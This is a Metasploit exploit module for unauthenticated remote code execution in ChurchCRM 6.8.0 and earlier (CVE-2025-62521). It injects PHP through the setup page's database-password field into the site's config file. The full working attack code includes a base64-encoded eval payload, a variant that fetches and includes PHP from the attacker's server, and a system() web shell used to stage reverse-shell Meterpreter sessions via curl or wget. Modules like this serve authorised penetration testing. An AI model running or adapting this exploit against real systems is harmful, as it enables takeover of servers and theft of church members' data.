##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchCRM Unauthenticated RCE via Setup Page',
        'Description' => %q{
          ChurchCRM <= 6.8.0 allows unauthenticated remote code execution via
          the setup page. The DB_PASSWORD field in the installation form is written
          directly into Include/Config.php without sanitization, allowing PHP code
          injection. The injected config file is then included on every request,
          triggering the payload. Note that the fix claimed in 5.21.0 only added
          a strlen check on the password field, leaving the injection intact.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Arthur Valverde (uartu0)', # Vulnerability discovery
          'LucasCsmt'                 # Metasploit module
        ],
        'References' => [
          ['GHSA', 'm8jq-j3p9-2xf3', 'ChurchCRM/CRM'],
          ['CVE', '2025-62521']
        ],
        'Platform' => ['linux', 'php'],
        'Targets' => [
          [
            'Linux/unix Command (CmdStager)',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => ['linux'],
              'Type' => :nix_cmdstager,
              'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'fetch', 'curl', 'wget']
              # tested with linux/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'PHP (In-Memory)',
            {
              'Arch' => [ARCH_PHP],
              'Platform' => ['php'],
              'Type' => :php_memory
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'PHP (Fetch)',
            {
              'Arch' => [ARCH_PHP],
              'Platform' => ['php'],
              'Type' => :php_fetch,
              'DefaultOptions' => {
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
              # tested with php/meterpreter/reverse_tcp
            }
          ]
        ],
        'DisclosureDate' => '2025-12-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => setup_uri)

    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Unknown('Setup page is inaccessible') unless res.code == 200

    version = res.headers['CRM-VERSION']
    return CheckCode::Detected('Setup page accessible but no version header') unless version

    return CheckCode::Safe("Version #{version} is not vulnerable") unless Rex::Version.new(version) <= Rex::Version.new('6.8.0')

    CheckCode::Appears("Vulnerable version #{version}")
  end

  def exploit
    @cmd_param = rand_text_alpha(5..10)
    inject_config
    trigger_payload
  end

  private

  def setup_uri
    normalize_uri(target_uri.path, 'setup', '/')
  end

  def inject_config
    print_status('Injecting payload into Include/Config.php via setup page...')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => setup_uri,
      'vars_post' => {
        'DB_SERVER_NAME' => rand_text_alpha(5..10),
        'DB_SERVER_PORT' => rand(1024..65535).to_s,
        'DB_NAME' => rand_text_alpha(5..10),
        'DB_USER' => rand_text_alpha(5..8),
        'DB_PASSWORD' => build_config_payload,
        'ROOT_PATH' => '/',
        'URL' => "http://#{rand_text_alpha(5..10)}.com/"
      }
    )

    fail_with(Failure::UnexpectedReply, 'Setup page did not accept the payload') unless res&.code == 200
  end

  def build_config_payload
    cleanup = target['Type'] != :nix_cmdstager ? 'unlink(__FILE__);' : ''

    php = case target['Type']
          when :php_memory
            b64 = Rex::Text.encode_base64(payload.encoded)
            "eval(base64_decode(\"#{b64}\"));"
          when :php_fetch
            start_service
            f = "#{datastore['FETCH_WRITABLE_DIR']}/#{rand_text_alpha(5..10)}.php"
            v = rand_text_alpha(1..3)
            "$#{v}='#{f}';file_put_contents($#{v},file_get_contents('#{get_uri}'));register_shutdown_function('unlink',$#{v});include($#{v});"
          when :nix_cmdstager
            "system($_GET['#{@cmd_param}']);"
          end

    "#{rand_text_alpha(3)}';#{cleanup}#{php} //"
  end

  def trigger_payload
    if target['Type'] == :nix_cmdstager
      print_status('Executing cmdstager...')
      execute_cmdstager(linemax: 500, nodelete: false, background: true)
      execute_command('rm -f Include/Config.php')
      return
    end

    print_status('Triggering PHP payload...')
    send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => { @cmd_param => cmd }
    )
  end

  def on_request_uri(cli, _request)
    send_response(cli, payload.encoded, 'Content-Type' => 'application/x-httpd-php')
  end
end
